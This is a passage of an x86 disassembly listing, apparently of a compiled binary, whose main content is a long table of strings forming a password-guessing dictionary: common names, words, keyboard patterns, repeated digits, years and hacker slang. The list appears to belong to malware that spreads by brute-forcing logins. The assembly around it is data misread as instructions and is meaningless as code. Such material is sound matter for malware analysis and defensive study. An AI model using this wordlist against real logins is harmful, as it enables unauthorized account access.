		add	[eax+780042D1h], al
		rol	dword ptr [edx+0], 1
		jo	short loc_42A767
		inc	edx
		add	[eax-2Fh], ch
		inc	edx
		add	[eax-2Fh], ah
		inc	edx
		add	[eax-2Fh], bl
		inc	edx
		add	[eax-2Fh], dl
		inc	edx
		add	[eax-2Fh], cl
		inc	edx
		add	[eax-2Fh], al
		inc	edx
		add	[eax], bh
		rol	dword ptr [edx+0], 1
		xor	cl, dl
		inc	edx
		add	[eax], ch
		rol	dword ptr [edx+0], 1
		and	cl, dl
		inc	edx
		add	[eax], bl
		rol	dword ptr [edx+0], 1
		or	al, 0D1h
		inc	edx
		add	[ecx+edx*8], al
		inc	edx
		add	ah, bh
		rol	byte ptr [edx+0], 1
; ---------------------------------------------------------------------------
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
; ---------------------------------------------------------------------------
		adc	ch, cl
		inc	edx
		add	ds:0CCFC0042h[ecx*8], al
		inc	edx
		add	ah, dh
		int	3		; Trap to Debugger
		inc	edx
		add	al, ch
		int	3		; Trap to Debugger
		inc	edx
		add	al, ah
		int	3		; Trap to Debugger
		inc	edx
		add	al, bl
		int	3		; Trap to Debugger
		inc	edx
		add	al, dl
		int	3		; Trap to Debugger
		inc	edx
		add	al, cl
		int	3		; Trap to Debugger
		inc	edx
		add	al, al
		int	3		; Trap to Debugger
		inc	edx
		add	[eax-4FFFBD34h], bh
		int	3		; Trap to Debugger
		inc	edx
		add	[eax-63FFBD34h], ch
		int	3		; Trap to Debugger
		inc	edx
		add	[esp+ecx*8-3377FFBEh], dl
		inc	edx
		add	[esp+ecx*8+42h], bh
		add	[esp+ecx*8+42h], dh
		add	[esp+ecx*8+42h], ch
		add	[esp+ecx*8+42h], ah
		add	[esp+ecx*8+42h], bl
		add	[esp+ecx*8+42h], dl
		add	[esp+ecx*8+42h], cl
		add	[eax-34h], al
		inc	edx
		add	[eax], bh
		int	3		; Trap to Debugger
		inc	edx
		add	[esp+ecx*8], ch
		inc	edx
		add	[esp+ecx*8], ah
		inc	edx
		add	[esp+ecx*8], bl
		inc	edx
		add	[esp+ecx*8], dl
		inc	edx
		add	[esp+ecx*8], cl
		inc	edx
		add	[esp+ecx*8], al
		inc	edx
		add	al, bh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, dh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, ch
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, ah
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, bl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, dl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, cl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, al
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax-4FFFBD35h], bh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax-5FFFBD35h], ch
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax-6FFFBD35h], bl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax+7C0042CBh], cl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax-35h], dh
		inc	edx
		add	[ebx+ecx*8+42h], ah
		add	[ebx+ecx*8+42h], bl
		add	[ebx+ecx*8+42h], dl
		add	[ebx+ecx*8+42h], cl
		add	[ebx+ecx*8+42h], al
		add	[ebx+ecx*8], bh
		inc	edx
		add	[ebx+ecx*8], dh
		inc	edx
		add	[ebx+ecx*8], ch
		inc	edx
		add	[eax], ah
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+ecx*8], dl
		inc	edx
		add	[ebx+ecx*8], cl
		inc	edx
		add	[ebx+ecx*8], al
		inc	edx
		add	ah, bh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
; ---------------------------------------------------------------------------
		fmul	st(2), st
		inc	edx
		add	ah, dl
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aVenus	; "venus"
; ---------------------------------------------------------------------------
		ror	dl, 42h
		add	[eax-4FFFBD36h], bh
		retf	42h
; ---------------------------------------------------------------------------
		test	al, 0CAh
		inc	edx
		add	[eax-6BFFBD36h], ah
		retf	42h
; ---------------------------------------------------------------------------
		mov	edx, cs
		inc	edx
		add	[edx+ecx*8-3587FFBEh], al
		inc	edx
		add	[eax-36h], dh
		inc	edx
		add	[eax-36h], ch
		inc	edx
		add	[eax-36h], ah
		inc	edx
		add	[edx+ecx*8+42h], dl
		add	[edx+ecx*8+42h], cl
		add	[edx+ecx*8+42h], al
		add	[edx+ecx*8], bh
		inc	edx
		add	[edx+ecx*8], dh
		inc	edx
		add	[edx+ecx*8], ch
		inc	edx
		add	[eax], ah
		retf	42h
; ---------------------------------------------------------------------------
		sbb	dl, cl
		inc	edx
		add	[eax], dl
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_2		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
; ---------------------------------------------------------------------------
		rol	ah, 1
		inc	edx
		add	ah, al
		les	eax, [edx+0]
		rol	ah, 42h
		add	[esp+eax*8-3B47FFBEh], bh
		inc	edx
		add	[esp+eax*8-3B57FFBEh], ch
		inc	edx
		add	[esp+eax*8-3B6FFFBEh], bl
		inc	edx
		add	[esp+eax*8-3B77FFBEh], cl
		inc	edx
		add	[esp+eax*8-3B7FFFBEh], al
		inc	edx
		add	[esp+eax*8+42h], dh
		add	[eax-3Ch], dh
		inc	edx
		add	[esp+eax*8+42h], ch
		add	[eax-3Ch], ah
		inc	edx
		add	[esp+eax*8+42h], bl
		add	[eax-3Ch], bl
		inc	edx
		add	[esp+eax*8+42h], dl
		add	[eax-3Ch], dl
		inc	edx
		add	[esp+eax*8+42h], al
		add	[esp+eax*8], dh
		inc	edx
		add	[eax], dh
		les	eax, [edx+0]
		sub	al, 0C4h
		inc	edx
		add	[eax], ah
		les	eax, [edx+0]
		adc	al, 0C4h
		inc	edx
		add	[eax], cl
		les	eax, [edx+0]
		cld
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, cl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+eax*8-3C4FFFBEh], bh
		inc	edx
		add	[ebx+eax*8-3C67FFBEh], ah
		inc	edx
		add	[ebx+eax*8-3C7FFFBEh], cl
		inc	edx
		add	[ebx+eax*8+42h], bh
		add	[eax-3Dh], dh
		inc	edx
		add	[ebx+eax*8+42h], ah
		add	[eax-3Dh], bl
		inc	edx
		add	[ebx+eax*8+42h], dl
		add	[eax-3Dh], cl
		inc	edx
		add	[ebx+eax*8], bh
		inc	edx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+eax*8], ah
		inc	edx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+eax*8], dl
		inc	edx
		add	[ebx+eax*8], al
		inc	edx
		add	al, bh
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset dword_42C2E4
; ---------------------------------------------------------------------------
		fadd	st, st(2)
		inc	edx
		add	ah, dl
		retn	42h
; ---------------------------------------------------------------------------


loc_42AE28:				; CODE XREF: .nsp0:0042AE64j
		rol	dl, 1
		inc	edx
		add	ah, cl
		retn	42h
; ---------------------------------------------------------------------------
		enter	42C2h, 0
		rol	dl, 42h
		add	[eax-4FFFBD3Eh], bh
		retn	42h
; ---------------------------------------------------------------------------
		movsb
		retn	42h
; ---------------------------------------------------------------------------
		mov	al, ds:9C0042C2h
		retn	42h
; ---------------------------------------------------------------------------
		cwde
		retn	42h
; ---------------------------------------------------------------------------
		xchg	eax, esp
		retn	42h
; ---------------------------------------------------------------------------
		dd offset a@@		; "@@"
; ---------------------------------------------------------------------------
		mov	edx, es
		inc	edx
		add	[eax-7BFFBD3Eh], cl
		retn	42h
; ---------------------------------------------------------------------------
		jl	short loc_42AE28
		inc	edx
		add	[eax-3Eh], bh
		inc	edx
		add	[edx+eax*8+42h], dh
		add	[edx+eax*8+42h], dh
		add	[edx+eax*8+42h], ch
		add	[eax-3Eh], ch
		inc	edx
		add	[eax-3Eh], ah
		inc	edx
		add	[edx+eax*8+42h], bl
		add	[edx+eax*8+42h], dl
		add	[edx+eax*8+42h], cl
		add	[eax-3Eh], cl
		inc	edx
		add	[edx+eax*8+42h], al
		add	[eax-3Eh], al
		inc	edx
		add	[edx+eax*8], dh
		inc	edx
		add	[edx+eax*8], ch
		inc	edx
		add	[edx+eax*8], ah
		inc	edx
		add	[edx+eax*8], bl
		inc	edx
		add	[edx+eax*8], dl
		inc	edx
		add	[eax], dl
		retn	42h
; ---------------------------------------------------------------------------
		or	al, 0C2h
		inc	edx
		add	[ebx+edi*8], dh
		inc	edx
		add	[eax], dh
		sti
		inc	edx
		add	[ebx+edi*8], bl
		inc	edx
		add	[ebx+edi*8], dl
		inc	edx
		add	[ebx+edi*8], cl
		inc	edx
		add	[ebx+edi*8], al
		inc	edx
		add	[eax+42C7h], al
		retn	42h
; ---------------------------------------------------------------------------
		dd offset a0000000000	; "0000000000"
		dd offset asc_42C1F0	; "*"
		dd offset asc_42C1EC	; "**"
		dd offset asc_42C1E8	; "***"
		dd offset asc_42C1E0	; "****"
		dd offset asc_42C1D8	; "*****"
		dd offset asc_42C1D0	; "******"
		dd offset asc_42C1C8	; "*******"
		dd offset asc_42C1BC	; "********"
		dd offset asc_42C1B0	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset aSex		; "SEX"
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset aA_0		; "a"
		dd offset aAa		; "aa"
		dd offset aAaa		; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_0	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aQw		; "qw"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
; ---------------------------------------------------------------------------
		cwde
		mov	ebx, 0BB8C0042h
		inc	edx
		add	[eax+740042BBh], al
		mov	ebx, 42h
		inc	ebx
		add	[ebx+edi*4+42h], ch
		add	al, cl
		rol	byte ptr [edx+0], cl
		db	64h
		mov	ebx, 0BB580042h
		inc	edx
		add	[eax-45h], dl
		inc	edx
		add	al, ah
		inc	byte ptr [edx+0]
		dec	esp
		mov	ebx, 0BB480042h
		inc	edx
		add	[ebx+edi*4+42h], al
		add	al, bl
		int	3		; Trap to Debugger
		inc	edx
		add	[eax-45h], al
		inc	edx
		add	[eax], bh
		mov	ebx, 0CC6C0042h
		inc	edx
		add	[eax-5], bh
		inc	edx
		add	[ebx+edi*8+42h], dh
		add	[eax-5], dh
		inc	edx
		add	[eax-5], ch
		inc	edx
		add	[eax-5], ah
		inc	edx
		add	[eax-5], bl
		inc	edx
		add	[eax-5], dl
		inc	edx
		add	[ebx+edi*8+42h], al
		add	[eax], bh
		sti
		inc	edx
		add	ah, dh
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
		dd offset aZ		; "z"
		dd offset aZx		; "zx"
		dd offset aZxc		; "zxc"
		dd offset aZxcv		; "zxcv"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
		dd offset aAs		; "as"
		dd offset aAsd		; "asd"
		dd offset aAsdf		; "asdf"
		dd offset aAsdfg	; "asdfg"
		dd offset aAsdfgh	; "asdfgh"
		dd offset aAsdfghj	; "asdfghj"
		dd offset aAsdfghjk	; "asdfghjk"
		dd offset aAsdfghjkl	; "asdfghjkl"
		dd offset aQaz		; "qaz"
		dd offset aWsx		; "wsx"
		dd offset aEdc		; "edc"
		dd offset aRfv		; "rfv"
		dd offset aB_0		; "b"
		dd offset aBb		; "bb"
		dd offset aBbb		; "bbb"
		dd offset aBbbb		; "bbbb"
		dd offset aBbbbb	; "bbbbb"
		dd offset aBbbbbb	; "bbbbbb"
		dd offset aBbbbbbb	; "bbbbbbb"
		dd offset aBbbbbbbb	; "bbbbbbbb"
		dd offset aBbbbbbbbb	; "bbbbbbbbb"
		dd offset aC		; "c"
		dd offset aCc		; "cc"
		dd offset aCcc		; "ccc"
		dd offset aCccc_0	; "cccc"
		dd offset aCcccc	; "ccccc"
		dd offset aCccccc	; "cccccc"
		dd offset aCcccccc	; "ccccccc"
		dd offset aCccccccc	; "cccccccc"
		dd offset aCcccccccc	; "ccccccccc"
		dd offset aD		; "d"
		dd offset aDd		; "dd"
		dd offset aDdd		; "ddd"
		dd offset aDddd		; "dddd"
		dd offset aDdddd	; "ddddd"
		dd offset aF		; "f"
		dd offset aFf		; "ff"
		dd offset aFff		; "fff"
		dd offset aFfff		; "ffff"
		dd offset aFffff	; "fffff"
		dd offset aE		; "e"
		dd offset aEe		; "ee"
		dd offset aEee		; "eee"
		dd offset aEeee		; "eeee"
		dd offset aEeeee	; "eeeee"
		dd offset aEeeeee	; "eeeeee"
		dd offset aG		; "g"
		dd offset aGg		; "gg"
		dd offset aGgg		; "ggg"
		dd offset aGggg		; "gggg"
		dd offset aGgggg	; "ggggg"
		dd offset aGggggg	; "gggggg"
		dd offset asc_42B9BC	; "h"
		dd offset aHh		; "hh"
		dd offset aHhh		; "hhh"
		dd offset aHhhh		; "hhhh"
		dd offset aHhhhh	; "hhhhh"
		dd offset aHhhhhh	; "hhhhhh"
		dd offset aI_1		; "i"
		dd offset aIi		; "ii"
		dd offset aIii		; "iii"
		dd offset aIiii		; "iiii"
		dd offset aIiiii	; "iiiii"
		dd offset aIiiiii	; "iiiiii"
